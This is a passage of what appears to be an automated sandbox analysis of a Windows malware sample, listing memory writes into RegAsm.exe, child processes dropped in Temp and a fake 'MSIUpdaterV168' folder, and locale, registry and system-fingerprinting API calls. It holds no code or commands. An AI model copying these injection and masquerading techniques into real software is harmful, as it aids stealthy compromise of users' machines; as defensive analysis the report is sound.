Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55D000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 585000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58A000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58C000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 1001008	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 55D000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 585000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58A000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 58C000	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 967008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 456000
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 480000
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: A8E008
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 456000
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 480000
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: C8E008
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 456000
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 480000
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: CD6008
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 425000
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42E000
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 643000
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: ACB008

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe "C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe "C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Process created: unknown unknown
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: GetProgmanWindow
Source: RegAsm.exe, 0000001C.00000002.2283576275.0000000002CA8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SetProgmanWindow

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe

Code function: 0_2_00579C45 cpuid

0_2_00579C45

Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_0058D0BA
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: GetLocaleInfoW,	0_2_0058C951
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: EnumSystemLocalesW,	0_2_0058C9F8
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: EnumSystemLocalesW,	0_2_0058CA43
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: EnumSystemLocalesW,	0_2_00584A45
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: EnumSystemLocalesW,	0_2_0058CADE
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_0058CB69
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: GetLocaleInfoW,	0_2_0058CDBC
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_0058CEE5
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_0058C756
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: GetLocaleInfoW,	0_2_00584F6B
Source: C:\Users\user\Desktop\BRWgvKaqbg.exe	Code function: GetLocaleInfoW,	0_2_0058CFEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: CreateDirectoryA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetCurrentHwProfileA,GetModuleHandleExA,GetModuleFileNameA,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetComputerNameA,GetUserNameA,GetDesktopWindow,GetWindowRect,GetUserDefaultLocaleName,GetKeyboardLayoutList,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,GetLocalTime,GetSystemTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,GetSystemInfo,GlobalMemoryStatusEx,EnumDisplayDevicesA,EnumDisplayDevicesA,CreateToolhelp32Snapshot,Process32First,Process32Next,Process32Next,CloseHandle,RegOpenKeyExA,RegEnumKeyExA,wsprintfA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,RegCloseKey,	2_2_004E06D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	2_2_00452B5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	2_2_00452D5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	2_2_00452E51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	2_2_00452E06
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	2_2_00452EEC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	2_2_00452F77
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	2_2_004531CA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	2_2_0044B1B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	2_2_004532F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	2_2_004533F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	2_2_004534CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	2_2_0044B734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoEx,FormatMessageA,	2_2_00431D94
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	13_2_00DBD0BA
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: EnumSystemLocalesW,	13_2_00DBC9F8
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: GetLocaleInfoW,	13_2_00DBC951
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: EnumSystemLocalesW,	13_2_00DBCADE
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: EnumSystemLocalesW,	13_2_00DBCA43
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: EnumSystemLocalesW,	13_2_00DB4A45
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	13_2_00DBCB69
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: GetLocaleInfoW,	13_2_00DBCDBC
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	13_2_00DBCEE5
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: GetLocaleInfoW,	13_2_00DBCFEB
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	13_2_00DBC756
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe	Code function: GetLocaleInfoW,	13_2_00DB4F6B
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	14_2_0063D0BA
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,	14_2_0063C951
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: EnumSystemLocalesW,	14_2_0063C9F8
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: EnumSystemLocalesW,	14_2_0063CA43
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: EnumSystemLocalesW,	14_2_00634A45
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: EnumSystemLocalesW,	14_2_0063CADE
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	14_2_0063CB69
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,	14_2_0063CDBC
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	14_2_0063CEE5
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,	14_2_00634F6B
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	14_2_0063C756
Source: C:\ProgramData\MSIUpdaterV168_fa0f5bd45309081f2cfb5ab42e0d965f\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,	14_2_0063CFEB
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	26_2_00BED0BA
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: EnumSystemLocalesW,	26_2_00BEC9F8
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: GetLocaleInfoW,	26_2_00BEC951
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: EnumSystemLocalesW,	26_2_00BECADE
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: EnumSystemLocalesW,	26_2_00BE4A45
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: EnumSystemLocalesW,	26_2_00BECA43
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	26_2_00BECB69
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: GetLocaleInfoW,	26_2_00BECDBC
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	26_2_00BECEE5
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: GetLocaleInfoW,	26_2_00BECFEB
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: GetLocaleInfoW,	26_2_00BE4F6B
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	26_2_00BEC756
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	33_2_00C4D0BA
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: EnumSystemLocalesW,	33_2_00C4C9F8
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,	33_2_00C4C951
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: EnumSystemLocalesW,	33_2_00C4CADE
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: EnumSystemLocalesW,	33_2_00C44A45
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: EnumSystemLocalesW,	33_2_00C4CA43
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	33_2_00C4CB69
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,	33_2_00C4CDBC
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	33_2_00C4CEE5
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,	33_2_00C4CFEB
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	33_2_00C4C756
Source: C:\ProgramData\MSIUpdaterV168_bf601beeeacc93e7a6f37b80206515f4\MSIUpdaterV168.exe	Code function: GetLocaleInfoW,	33_2_00C44F6B
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	42_2_0044D0BA
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: GetLocaleInfoW,	42_2_0044C951
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: EnumSystemLocalesW,	42_2_0044C9F8
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: EnumSystemLocalesW,	42_2_00444A45
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: EnumSystemLocalesW,	42_2_0044CA43
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: EnumSystemLocalesW,	42_2_0044CADE
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	42_2_0044CB69
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: GetLocaleInfoW,	42_2_0044CDBC
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	42_2_0044CEE5
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	42_2_0044C756
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: GetLocaleInfoW,	42_2_00444F6B
Source: C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe	Code function: GetLocaleInfoW,	42_2_0044CFEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,	43_2_00411D31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	43_2_2218298C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	43_2_2235FF17
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	43_2_22182112
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	43_2_22182112

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
